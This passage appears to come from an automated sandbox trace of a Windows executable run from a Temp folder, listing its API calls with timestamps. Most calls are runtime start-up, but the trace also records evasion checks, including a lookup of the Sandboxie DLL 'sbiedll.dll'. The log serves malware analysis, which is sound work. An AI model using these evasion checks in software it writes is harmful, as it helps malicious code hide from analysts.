(TargetFrame=0x24fbf8, TargetIp=0xcab538, ExceptionRecord=0x0, ReturnValue=0x0) [0240.605] NtQuerySystemInformation (in: SystemInformationClass=0x4c, SystemInformation=0x24f9c4, Length=0x10, ResultLength=0x24fac4 | out: SystemInformation=0x24f9c4, ResultLength=0x24fac4*=0x18) returned 0xc0000023 [0240.606] LocalAlloc (uFlags=0x0, uBytes=0x18) returned 0x6a0920 [0240.606] NtQuerySystemInformation (in: SystemInformationClass=0x4c, SystemInformation=0x6a0920, Length=0x18, ResultLength=0x0 | out: SystemInformation=0x6a0920, ResultLength=0x0) returned 0x0 [0240.606] NtQuerySystemInformation (in: SystemInformationClass=0x4c, SystemInformation=0x24f9c4, Length=0x10, ResultLength=0x24fad8 | out: SystemInformation=0x24f9c4, ResultLength=0x24fad8*=0x5c00020010) returned 0xc0000023 [0240.607] LocalAlloc (uFlags=0x0, uBytes=0x20010) returned 0x6a1c68 [0240.608] NtQuerySystemInformation (in: SystemInformationClass=0x4c, SystemInformation=0x6a1c68, Length=0x20010, ResultLength=0x0 | out: SystemInformation=0x6a1c68, ResultLength=0x0) returned 0x0 [0240.619] LocalFree (hMem=0x6a1c68) returned 0x0 [0240.620] NtQuerySystemInformation (in: SystemInformationClass=0x4c, SystemInformation=0x24f9c4, Length=0x10, ResultLength=0x24fad8 | out: SystemInformation=0x24f9c4, ResultLength=0x24fad8*=0x5c00020010) returned 0xc0000023 [0240.620] LocalAlloc (uFlags=0x0, uBytes=0x20010) returned 0x6a1c68 [0240.620] NtQuerySystemInformation (in: SystemInformationClass=0x4c, SystemInformation=0x6a1c68, Length=0x20010, ResultLength=0x0 | out: SystemInformation=0x6a1c68, ResultLength=0x0) returned 0x0 [0240.627] LocalFree (hMem=0x6a1c68) returned 0x0 [0240.627] LocalFree (hMem=0x6a0920) returned 0x0 [0240.628] NtQuerySystemInformation (in: SystemInformationClass=0x4c, SystemInformation=0x24f9c4, Length=0x10, ResultLength=0x24fac4 | out: SystemInformation=0x24f9c4, ResultLength=0x24fac4*=0x14) returned 0xc0000023 [0240.628] LocalAlloc (uFlags=0x0, uBytes=0x14) returned 0x6a0920 [0240.628] NtQuerySystemInformation (in: SystemInformationClass=0x4c, SystemInformation=0x6a0920, Length=0x14, ResultLength=0x0 | out: SystemInformation=0x6a0920, ResultLength=0x0) returned 0x0 [0240.629] NtQuerySystemInformation (in: SystemInformationClass=0x4c, SystemInformation=0x24f9c4, Length=0x10, ResultLength=0x24fad8 | out: SystemInformation=0x24f9c4, ResultLength=0x24fad8*=0x5c00000613) returned 0xc0000023 [0240.629] LocalAlloc (uFlags=0x0, uBytes=0x613) returned 0x6a1c68 [0240.629] NtQuerySystemInformation (in: SystemInformationClass=0x4c, SystemInformation=0x6a1c68, Length=0x613, ResultLength=0x0 | out: SystemInformation=0x6a1c68, ResultLength=0x0) returned 0x0 [0240.630] LocalFree (hMem=0x6a1c68) returned 0x0 [0240.631] LocalFree (hMem=0x6a0920) returned 0x0 [0240.631] GetModuleHandleA (lpModuleName="sbiedll.dll") returned 0x0 [0240.632] NtQueryVirtualMemory (in: ProcessHandle=0xffffffffffffffff, Address=0x6a1b98, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x24f3c4, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x24f3c4, ResultLength=0x0) returned 0x80000002 [0240.632] NtQueryVirtualMemory (in: ProcessHandle=0xffffffffffffffff, Address=0x13d7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x24f3c4, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x24f3c4, ResultLength=0x0) returned 0x80000002 [0241.825] NtQuerySystemInformation (in: SystemInformationClass=0x0, SystemInformation=0x24f83c, Length=0x2c, ResultLength=0x0 | out: SystemInformation=0x24f83c, ResultLength=0x0) returned 0x0 [0241.825] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x24f884, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x24f884, ReturnLength=0x0) returned 0x0 [0241.826] NtQueryInformationThread (in: ThreadHandle=0xfffffffe, ThreadInformationClass=0x0, ThreadInformation=0x24f868, ThreadInformationLength=0x1c, ReturnLength=0x0 | out: ThreadInformation=0x24f868, ReturnLength=0x0) returned 0x0 [0241.826] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x4, ThreadInformation=0x24fb28, ThreadInformationLength=0x4) returned 0x0 [0241.826] NtDelayExecution (Alertable=0, Interval=0x24f98c*=0) returned 0x0 [0242.414] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x4, ThreadInformation=0x24fb28, ThreadInformationLength=0x4) returned 0xc000000d [0242.415] NtDelayExecution (Alertable=0, Interval=0x24f98c*=0) returned 0x0 [0242.476] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x4, ThreadInformation=0x24fb28, ThreadInformationLength=0x4) returned 0xc000000d [0242.480] NtDelayExecution (Alertable=0, Interval=0x24f98c*=0) returned 0x0 [0242.557] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x4, ThreadInformation=0x24fb28, ThreadInformationLength=0x4) returned 0xc000000d [0242.575] NtDelayExecution (Alertable=0, Interval=0x24f98c*=0) returned 0x0 [0245.770] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x4, ThreadInformation=0x24f878, ThreadInformationLength=0x4) returned 0x0 [0245.770] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24f304 | out: lpSystemTimeAsFileTime=0x24f304*(dwLowDateTime=0x951db600, dwHighDateTime=0x1d8a8cd)) [0245.771] GetCurrentProcessId () returned 0x8e4 [0245.771] GetCurrentThreadId () returned 0x734 [0245.771] GetTickCount () returned 0x11ee776 [0245.771] QueryPerformanceCounter (in: lpPerformanceCount=0x24f2fc | out: lpPerformanceCount=0x24f2fc*=1892460057941) returned 1 [0245.771] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x860000 [0245.774] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0245.774] GetProcAddress (hModule=0x752b0000, lpProcName="FlsAlloc") returned 0x752c4ee3 [0245.774] GetProcAddress (hModule=0x752b0000, lpProcName="FlsGetValue") returned 0x752c1252 [0245.774] GetProcAddress (hModule=0x752b0000, lpProcName="FlsSetValue") returned 0x752c41c0 [0245.774] GetProcAddress (hModule=0x752b0000, lpProcName="FlsFree") returned 0x752c354f [0245.775] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x214) returned 0x8607d0 [0245.775] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0245.775] GetCurrentThreadId () returned 0x734 [0245.775] GetCommandLineA () returned="\"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\2.0.0-beta2.cps.exe\" " [0245.776] GetEnvironmentStringsW () returned 0x6a2468* [0245.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1415, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1415 [0245.776] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x0, Size=0x587) returned 0x8609f0 [0245.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1415, lpMultiByteStr=0x8609f0, cbMultiByte=1415, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1415 [0245.776] FreeEnvironmentStringsW (penv=0x6a2468) returned 1 [0245.776] GetStartupInfoW (in: lpStartupInfo=0x24f24c | out: lpStartupInfo=0x24f24c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\2.0.0-beta2.cps.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0xc80000, hStdError=0x587)) [0245.776] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x800) returned 0x860f80 [0245.776] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0245.776] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0245.776] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0245.776] SetHandleCount (uNumber=0x20) returned 0x20 [0245.777] GetLastError () returned 0x7e [0245.777] SetLastError (dwErrCode=0x7e) [0245.777] GetLastError () returned 0x7e [0245.777] SetLastError (dwErrCode=0x7e) [0245.777] GetLastError () returned 0x7e [0245.777] SetLastError (dwErrCode=0x7e) [0245.777] GetACP () returned 0x4e4 [0245.777] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x0, Size=0x220) returned 0x861788 [0245.777] GetLastError () returned 0x7e [0245.777] SetLastError (dwErrCode=0x7e) [0245.777] IsValidCodePage (CodePage=0x4e4) returned 1 [0245.777] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x24f214 | out: lpCPInfo=0x24f214) returned 1 [0245.777] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x24ece0 | out: lpCPInfo=0x24ece0) returned 1 [0245.777] GetLastError () returned 0x7e [0245.777] SetLastError (dwErrCode=0x7e) [0245.777] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x24f0f4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0245.777] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x24f0f4, cbMultiByte=256, lpWideCharStr=0x24ea58, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0245.777] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x24ecf4 | out: lpCharType=0x24ecf4) returned 1 [0245.777] GetLastError () returned 0x7e [0245.777] SetLastError (dwErrCode=0x7e) [0245.777] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x24f0f4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0245.778] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x24f0f4, cbMultiByte=256, lpWideCharStr=0x24ea28, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ밐碘ÊĀ") returned 256 [0245.778] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ밐碘ÊĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0245.778] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ밐碘ÊĀ", cchSrc=256, lpDestStr=0x24e818, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0245.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x24eff4, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ~Ó\x97\n,ò$", lpUsedDefaultChar=0x0) returned 256 [0245.778] GetLastError () returned 0x7e [0245.778] SetLastError (dwErrCode=0x7e) [0245.778] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x24f0f4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0245.778] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x24f0f4, cbMultiByte=256, lpWideCharStr=0x24ea48, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ밐碘ÊĀ") returned 256 [0245.778] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ밐碘ÊĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0245.778] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ밐碘ÊĀ", cchSrc=256, lpDestStr=0x24e838, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0245.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x24eef4, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ~Ó\x97\n,ò$", lpUsedDefaultChar=0x0) returned 256 [0245.778] GetModuleFileNameA (in: hModule=0x0, lpFilename=0xcb7320, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\2.0.0-beta2.cps.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\2.0.0-beta2.cps.exe")) returned 0x39 [0245.778] GetLastError () returned 0x0 [0245.778] SetLastError (dwErrCode=0x0) [0245.778] GetLastError () returned 0x0 [0245.779] SetLastError (dwErrCode=0x0) [0245.779] GetLastError () returned 0x0 [0245.779] SetLastError (dwErrCode=0x0) [0245.779] GetLastError () returned 0x0 [0245.779] SetLastError (dwErrCode=0x0) [0245.779] GetLastError () returned 0x0 [0245.779] SetLastError (dwErrCode=0x0) [0245.779] GetLastError () returned 0x0 [0245.779] SetLastError (dwErrCode=0x0) [0245.779] GetLastError () returned 0x0 [0245.779] SetLastError (dwErrCode=0x0) [0245.779] GetLastError () returned 0x0 [0245.779] SetLastError (dwErrCode=0x0) [0245.779] GetLastError () returned 0x0 [0245.779] SetLastError (dwErrCode=0x0) [0245.779] GetLastError () returned 0x0 [0245.779] SetLastError (dwErrCode=0x0) [0245.779] GetLastError () returned 0x0 [0245.779] SetLastError (dwErrCode=0x0) [0245.779] GetLastError () returned 0x0 [0245.779] SetLastError (dwErrCode=0x0) [0245.779] GetLastError () returned 0x0 [0245.780] SetLastError (dwErrCode=0x0) [0245.780] GetLastError () returned 0x0 [0245.780] SetLastError (dwErrCode=0x0) [0245.780] GetLastError () returned 0x0 [0245.780] SetLastError (dwErrCode=0x0) [0245.780] GetLastError () returned 0x0 [0245.780] SetLastError (dwErrCode=0x0) [0245.780] GetLastError () returned 0x0 [0245.780] SetLastError (dwErrCode=0x0) [0245.780] GetLastError () returned 0x0 [0245.780] SetLastError (dwErrCode=0x0) [0245.780] GetLastError () returned 0x0 [0245.780] SetLastError (dwErrCode=0x0) [0245.780] GetLastError () returned 0x0 [0245.780] SetLastError (dwErrCode=0x0) [0245.780] GetLastError () returned 0x0 [0245.780] SetLastError (dwErrCode=0x0) [0245.780] GetLastError () returned 0x0 [0245.780] SetLastError (dwErrCode=0x0) [0245.780] GetLastError () returned 0x0 [0245.780] SetLastError (dwErrCode=0x0) [0245.780] GetLastError () returned 0x0 [0245.781] SetLastError (dwErrCode=0x0) [0245.781] GetLastError () returned 0x0 [0245.781] SetLastError (dwErrCode=0x0) [0245.781] GetLastError () returned 0x0 [0245.781] SetLastError (dwErrCode=0x0) [0245.781] GetLastError () returned 0x0 [0245.781] SetLastError (dwErrCode=0x0) [0245.781] GetLastError () returned 0x0 [0245.781] SetLastError (dwErrCode=0x0) [0245.781] GetLastError () returned 0x0 [0245.781] SetLastError (dwErrCode=0x0) [0245.781] GetLastError () returned 0x0 [0245.781] SetLastError (dwErrCode=0x0) [0245.781] GetLastError () returned 0x0 [0245.781] SetLastError (dwErrCode=0x0) [0245.781] GetLastError () returned 0x0 [0245.781] SetLastError (dwErrCode=0x0) [0245.781] GetLastError () returned 0x0 [0245.781] SetLastError (dwErrCode=0x0) [0245.781] 